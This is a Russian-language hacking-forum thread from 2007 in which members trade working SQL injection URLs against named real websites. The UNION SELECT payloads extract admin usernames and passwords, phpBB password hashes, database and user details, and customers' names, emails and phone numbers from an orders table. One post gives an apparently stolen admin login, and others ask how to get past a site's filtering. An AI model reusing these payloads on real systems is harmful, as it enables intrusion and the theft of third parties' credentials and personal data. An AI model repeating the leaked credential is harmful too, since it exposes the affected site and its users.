 |
|
08.04.2007, 00:58
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
=\\ http://www.kuraraydental.com/
Inj:
http://www.kuraraydental.com/viewproduct.php?pid=-19+union+select+1,2,3,4,5,6,7,8,9,10,concat(userna me,0x3a,password),12+from+user
Админку не искал. Погонять по лимиту, можно выцепить других юзеров.
admin:chris-ko
Последний раз редактировалось [sL1p]; 08.04.2007 в 10:21..
Причина: мда
|
|
|
08.04.2007, 01:28
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
[sL1p], _ttp://radata.com я выложил на предыдущей странице :Р
|
|
|
|
08.04.2007, 11:13
|
|
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
С нами:
10715512
Репутация:
366
|
|
http://www.barsavto.ru/?_pageid=8&cat_id=-1+union+select+USER()/*&id=158
http://www.svrauto.ru/?pageId='+union+select+1,2,3,convert(USER()+using+ cp1251),5,6,7,8,9,0,1,2,3,4,5,6,7,8,9/*
чет накаких интересны таблиц ненашёл
|
|
|
|
08.04.2007, 12:10
|
|
Постоянный
Регистрация: 21.04.2006
Сообщений: 540
С нами:
10555586
Репутация:
726
|
|
Код:
http://www.realhit.ru/?page=news&id=-1+union+select+null,version(),null/*
http://www.realhit.ru/?page=news&id=-1+union+select+null,database(),null/*
http://www.realhit.ru/?page=news&id=-1+union+select+null,user(),null/*
|
|
|
|
08.04.2007, 12:47
|
|
ы
Регистрация: 11.02.2007
Сообщений: 750
С нами:
10129286
Репутация:
1477
|
|
Сообщение от XTErner
Код:
http://www.marycoughlanmusic.com/shop.php?id=-47%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12+from+admin/*
чето нигде не выводит У меня всё прекрасно выводит:
Код:
_http://www.marycoughlanmusic.com/shop.php?id=-4+UNION+SELECT+1,2,USER(),4,version(),database(),7,8,9,10,11,12/*
Но как только обращаешься к таблице, то пусто. Какая-то хитрая фильтрация. Кто знает что здесь сделать? Оч. Интересно.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....
Последний раз редактировалось ShadOS; 08.04.2007 в 13:45..
|
|
|
|
08.04.2007, 14:21
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами:
10160966
Репутация:
1719
|
|
mafiaclub.ru
Код:
http://www.mafiaclub.ru/gallery/user.php?gid=-1+union+select+1,2,3,concat(username,0x3a,user_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+bb_users+limit+1,1/*
phpbb хеш админа
там 5 админов, перебор лимитами.
Последний раз редактировалось n1†R0x; 08.04.2007 в 14:23..
|
|
|
|
08.04.2007, 14:37
|
|
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами:
10483586
Репутация:
5826
|
|
Код:
http://www.atlasaerospace.net/newsi-r.htm?id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5,6,7/*
http://www.atlasaerospace.net/newsi-r.htm?id=-1+union+select+1,2,3,4,5,6,7+from+orders/*
http://www.atlasaerospace.net/newsi-r.htm?id=-1+union+select+1,2,3,concat(name,char(58),email,char(58),phone),5,6,7+from+orders/*
|
|
|
|
08.04.2007, 14:49
|
|
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
С нами:
10467686
Репутация:
930
|
|
Сообщение от ShadOS
Но как только обращаешься к таблице, то пусто. Какая-то хитрая фильтрация. Кто знает что здесь сделать? Оч. Интересно.
Такая же трабла.
|
|
|
|
08.04.2007, 14:50
|
|
Постоянный
Регистрация: 21.04.2006
Сообщений: 540
С нами:
10555586
Репутация:
726
|
|
Код:
http://pride.uoregon.edu/section.php?id=-1+union+select+1,user(),2,3,4,5/*
http://pride.uoregon.edu/section.php?id=-1+union+select+1,user(),2,3,4,5/*
http://pride.uoregon.edu/section.php?id=-1+union+select+1,user(),2,3,4,5/*
|
|
|
|
08.04.2007, 14:55
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами:
10248806
Репутация:
2371
|
|
Территория
===============
www.it-territory.ru
===============
Код:
http://www.it-territory.ru./index.php?obj=press&id=136+union+select+1,version(),3,4/*
Список статей, самый низ
Кто достанет нам новый апдейт Территории? 
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
